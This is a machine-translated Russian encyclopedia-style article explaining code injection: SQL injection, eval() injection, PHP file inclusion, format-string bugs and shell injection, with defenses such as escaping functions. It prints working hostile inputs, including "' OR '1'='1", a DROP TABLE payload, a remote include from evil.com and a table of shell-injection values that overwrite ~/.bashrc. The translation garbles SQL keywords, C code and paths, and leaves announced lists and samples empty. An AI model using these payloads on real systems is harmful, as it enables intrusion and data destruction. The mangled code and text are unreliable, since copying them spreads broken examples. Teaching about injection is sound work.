Внедрение кода - это использование компьютерной ошибки, вызванной обработкой недопустимых данных. Инъекция используется злоумышленником злоумышленником для введения (или «внедрения») кода в уязвимую компьютерную программу и изменения хода выполнения . Результат успешного внедрения кода может быть катастрофическим, например, если компьютерные черви могут распространяться.
Уязвимости внедрения кода возникают, когда приложение отправляет ненадежные данные в интерпретатор. Недостатки внедрения чаще всего встречаются в запросах SQL, LDAP, XPath или NoSQL ; Команды ОС; XML парсеры, заголовки SMTP, аргументы программы и т. Д. Недостатки внедрения легче обнаружить при изучении исходного кода, чем при тестировании. Сканеры и фаззеры могут помочь найти недостатки внедрения.
Внедрение может привести к потере или повреждению данных, отсутствию ответственности или отказу в доступе. Инъекция иногда может привести к полному захвату хозяина.
Некоторые типы внедрения кода являются ошибками в интерпретации, придающими особое значение вводимым пользователем данным. Подобные ошибки интерпретации существуют и за пределами мира компьютерных наук, например, в комедиях Кто первый?. В повседневной жизни не удается отличить имена собственные от обычных слов. Точно так же при некоторых типах внедрения кода не удается отличить ввод пользователя от системных команд.
Методы внедрения кода популярны при взломе или взломе с целью получения информации, повышении привилегий или несанкционированном доступе к системе. Внедрение кода может использоваться злонамеренно для многих целей, включая:
В 2008 г., 5.66 % всех уязвимостей, обнаруженных в этом году, были классифицированы как внедрение кода, это самый высокий показатель за всю историю наблюдений. В 2015 году этот показатель снизился до 0,77%.
Внедрение кода может использоваться с добрыми намерениями; например, изменение или настройка поведения программы или системы посредством внедрения кода может привести к тому, что система будет вести себя определенным образом без какого-либо злонамеренного намерения. Внедрение кода может, например:
Некоторые пользователи могут ничего не подозревать выполнить внедрение кода, потому что ввод, который они предоставляют программе, не рассматривался теми, кто изначально разработал систему. Например:
Другим безобидным применением внедрения кода может быть обнаружение самих ошибок внедрения с целью их исправления. Это известно как белая шляпа тест на проникновение.
Для предотвращения проблем с внедрением кода используйте безопасную обработку ввода и вывода, например:
htmlspecialchars ()
для экранирования специальных символов для безопасного вывода текста в HTML и mysqli :: real_escape_string ()
для изоляции данных, которые будут включены в запросе SQL для защиты от внедрения SQL.HttpOnly
- это флаг для HTTP-файлы cookie, которые, если они установлены, не позволяют клиентскому сценарию взаимодействовать с файлами cookie, тем самым предотвращая определенные атаки XSS.Решения, перечисленные выше, касаются в основном веб-инъекции HTML или код сценария в серверное приложение. Однако при внедрении пользовательского кода на пользовательский компьютер необходимо использовать другие подходы, что приводит к атакам с повышением привилегий. Вот некоторые подходы, которые используются для обнаружения и изоляции инъекций управляемого и неуправляемого кода:
SQL-инъекция использует синтаксис SQL для ввода команд, которые могут читать или изменять базу данных, или нарушить смысл исходного запроса.
Например, рассмотрим веб-страницу с двумя полями, позволяющими пользователям вводить имя пользователя и пароль. Код за страницей сгенерирует запрос SQL для проверки пароля по списку имен пользователей:
SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = ' Пароль '
Если этот запрос возвращает какие-либо строки, то доступ предоставляется. Однако, если злоумышленник вводит действительное имя пользователя и вводит какой-либо действительный код (пароль 'ИЛИ' 1 '=' 1
) в поле пароля, то результирующий запрос будет выглядеть следующим образом:
ВЫБРАТЬ UserList.Username FROM UserList ГДЕ UserList.Username = 'Имя пользователя' И UserList.Password = 'пароль' ИЛИ '1' = '1'
В приведенном выше примере предполагается, что «Пароль» пустой или какая-то безобидная строка. «'1' = '1'
» всегда будет истинным, и будет возвращено много строк, что позволит получить доступ.
Техника может быть усовершенствована, чтобы позволить запускать несколько операторов или даже загружать и запускать внешние программы.
Предположим, что запрос имеет следующий формат:
ВЫБРАТЬ ИД ПОЛЬЗОВАТЕЛЯ ОТ ПОЛЬЗОВАТЕЛЯ ГДЕ User.UserID = '"+ UserID +"' И User.Pwd = '"+ Password +"'
Если злоумышленник имеет следующие входные данные:
UserID: '; DROP TABLE User; - '
Пароль:' OR "= '
запрос будет проанализирован следующим образом:
SELECT User.UserID FROM User WHERE User.UserID =' '; DROP TABLE User; -' AND Pwd = '' OR "= '
В результате таблица User
будет удалена из базы данных. Это происходит потому, что символ ;
обозначает конец одной команды и начало новой. -
обозначает начало комментария.
Внедрение кода - это вредоносное внедрение или введение кода в приложение. Некоторые веб-серверы имеют сценарий гостевой книги, который принимает небольшие сообщения от пользователей и обычно принимает такие сообщения, как:
Очень хороший сайт!
Однако злоумышленник может знать об уязвимости внедрения кода в гостевой книге и вводит такое сообщение:
Хороший сайт, думаю, я его возьму.
Если другой пользователь просматривает страницу, внедренный код будет выполнен. Этот код может позволить злоумышленнику выдать себя за другого пользователя. Однако эта же программная ошибка может быть случайно вызвана непритязательным пользователем, что приведет к отображению на веб-сайте плохого HTML-кода.
HTML и внедрение скриптов - популярная тема, обычно называемая «межсайтовым скриптингом » или «XSS». XSS относится к недостатку внедрения, при котором пользовательский ввод в веб-скрипт или что-то подобное помещается в выходной HTML без проверки на HTML-код или скрипты.
Многие из этих проблем связаны с ошибочными предположениями о том, какие входные данные возможны, или с эффектами специальных данных.
An eval ()
инъекционная уязвимость возникает, когда злоумышленник может контролировать всю или часть входной строки, которая передается в вызов функции eval ()
.
$ myvar = 'somevalue'; $ x = $ _GET ['аргумент']; eval ('$ myvar ='. $ x. ';');
Аргумент «eval
» будет обработан как PHP, поэтому можно добавлять дополнительные команды. Например, если для параметра «arg» задано значение «10; system ('/ bin / echo uh-oh')
», запускается дополнительный код, который выполняет программу на сервере, в данном случае «/ bin / echo
".
PHP позволяет сериализацию и десериализацию целых объектов. Если в функцию десериализации разрешен ввод без доверия, можно перезаписать существующие классы в программе и выполнить злонамеренные атаки. Такая атака на Joomla была обнаружена в 2013 году.
Рассмотрим эту программу PHP (которая включает файл, указанный в запросе):
Пример может быть прочитан, поскольку могут быть загружены только цветные файлы, такие как
blue.php
иred.php
, в то время как злоумышленники могут предоставитьCOLOR = http: //evil.com/exploit
заставляет PHP загружать внешний файл.Внедрение спецификатора формата
Ошибки строки формата чаще всего возникают, когда программист желает напечатать строку, содержащую данные, предоставленные пользователем. Программист может ошибочно записать
printf (buffer)
вместоprintf ("% s", buffer)
. Первая версия интерпретируетbuffer
как строку формата и анализирует любые инструкции форматирования, которые она может содержать. Вторая версия просто выводит строку на экран, как задумал программист. Рассмотрим следующую короткую программу на C, в которой есть массив символов локальной переменнойpassword
, который содержит пароль; программа запрашивает у пользователя целое число и строку, затем выводит введенную пользователем строку.char user_input [100]; int int_in; char password [10] = "Пароль1"; printf ("Введите целое число \ n"); scanf ("% d", int_in); printf ("Пожалуйста, введите строку \ n"); fgets (user_input, sizeof (user_input), stdin); printf (user_input); // Безопасная версия: printf ("% s", user_input); printf ("\ п"); возврат 0;Если пользовательский ввод заполнен списком спецификаторов формата, например
% s% s% s% s% s% s% s% s
, тоprintf ()
начнет чтение из стека . В конце концов, один из описателей формата% s
получит доступ к адресуpassword
, который находится в стеке, и выведет на экранPassword1
.Внедрение оболочки
Внедрение оболочки (или внедрение команды) названо в честь оболочек Unix, но применимо к большинству систем, которые позволяют программному обеспечению программно выполнять командную строку . Вот пример уязвимого скрипта tcsh :
#! / Bin / tcsh # check arg выводит его соответствует, если arg равен единице if ($ 1 == 1) echo он соответствуетЕсли выше хранится в исполняемом файле
./check
, команда оболочки./check "1) evil"
попытается выполнить введенную команду оболочкиevil
вместо сравнения аргумент с постоянным. Здесь атакованный код - это код, который пытается проверить параметр, тот самый код, который, возможно, пытался проверить параметр для защиты от атаки.Любая функция, которая может использоваться для составить и запустить команду оболочки - это потенциальное средство для запуска атаки путем инъекции оболочки. Среди них
system ()
,StartProcess ()
иSystem.Diagnostics.Process.Start ()
.клиент-серверные системы, такие как веб-браузер взаимодействие с веб-серверами потенциально уязвимо для внедрения оболочки. Рассмотрим следующую короткую программу PHP, которую можно запустить на веб-сервере для запуска внешней программы с именем
funnytext
для замены слова, отправленного пользователем, другим словом.
Passthru
в приведенном выше примере составляет команду оболочки, которая затем выполняется веб-сервером. Поскольку часть составляемой им команды берется из URL, предоставленного веб-браузером, это позволяет URL-адресу вводить вредоносные команды оболочки. Можно внедрить код в эту программу несколькими способами, используя синтаксис различных функций оболочки (этот список не является исчерпывающим):
Функция оболочки | USER_INPUT значение | Результирующая команда оболочки | Пояснение |
---|---|---|---|
Последовательное выполнение | ; вредоносная_команда | / bin / funnytext; вредоносная_команда | Выполняет смешной текст , затем выполняет вредоносную_команду . |
Конвейеры | | вредоносная_команда | / bin / funnytext | вредоносная_команда | Отправляет вывод funnytext в качестве входных данных для вредоносная_команда . |
Подстановка команд | `malware_command` | / bin / funnytext` malware_command` | Отправляет вывод вредоносная_команда в качестве аргументов смешной текст . |
подстановка команды | $ (вредоносная_команда) | / bin / funnytext $ (вредоносная_команда) | Отправляет вывод вредоносная_команда в качестве аргументов для funnytext . |
И список | malware_command | / bin / funnytext dangerous_command | Выполняет malicious_command iff funnytext возвращает статус выхода 0 (успех). |
ИЛИ список | || вредоносная_команда | / bin / funnytext || Malicious_command | Выполняет malicious_command iff funnytext возвращает ненулевой статус выхода (ошибка). |
Перенаправление вывода | >~ /.bashrc | / bin / funnytext>~ /.bashrc | Заменяет содержимое файла .bashrc на вывод funnytext . |
Перенаправление ввода | < ~/.bashrc | / bin / funnytext < ~/.bashrc | Отправляет содержимое файла .bashrc в качестве входных данных в funnytext . |
Некоторые языки предлагают функции для правильного экранирования или заключения в кавычки строк, которые используются для создания команд оболочки:
Тем не менее, это по-прежнему обременяет программистов знать / изучать эти функции и не забывать использовать их каждый раз, когда они используют команды оболочки. В дополнение к использованию этих функций также рекомендуется проверка или дезинфекция пользовательского ввода.
Более безопасной альтернативой является использование API-интерфейсов, которые выполняют внешние программы напрямую, а не через оболочку, что предотвращает возможность внедрения оболочки. Однако эти API, как правило, не поддерживают различные удобные функции оболочек и / или являются более громоздкими / подробными по сравнению с кратким синтаксисом оболочки.